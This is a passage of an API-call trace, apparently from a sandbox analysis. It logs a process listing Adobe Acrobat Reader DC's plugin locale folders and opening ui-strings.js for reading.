DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js", lpFilePart=0x0) returned 0x67 [0240.186] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0240.186] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.187] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0240.187] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0240.187] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.187] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0240.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0240.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0240.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0240.187] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls", lpFilePart=0x0) returned 0x6b [0240.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0240.189] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.190] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0240.190] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0240.190] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0240.190] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0240.190] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0240.190] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0240.191] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0240.192] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0240.192] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.192] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0240.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0240.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0240.193] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0240.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls", lpFilePart=0x0) returned 0x6b [0240.193] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0240.193] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0240.194] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0240.195] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0240.195] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0240.195] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0240.195] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0240.196] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0240.196] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0240.196] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0240.196] FindClose (in: hFindFile=0x134aaa0 | out: hFindFile=0x134aaa0) returned 1 [0240.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0240.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0240.197] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x79 [0240.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebd00) returned 1 [0240.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3ab9980 | out: lpFileInformation=0x3ab9980*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a)) returned 1 [0240.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebcc0) returned 1 [0240.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x79 [0240.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebbb0) returned 1 [0240.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.198] GetFileType 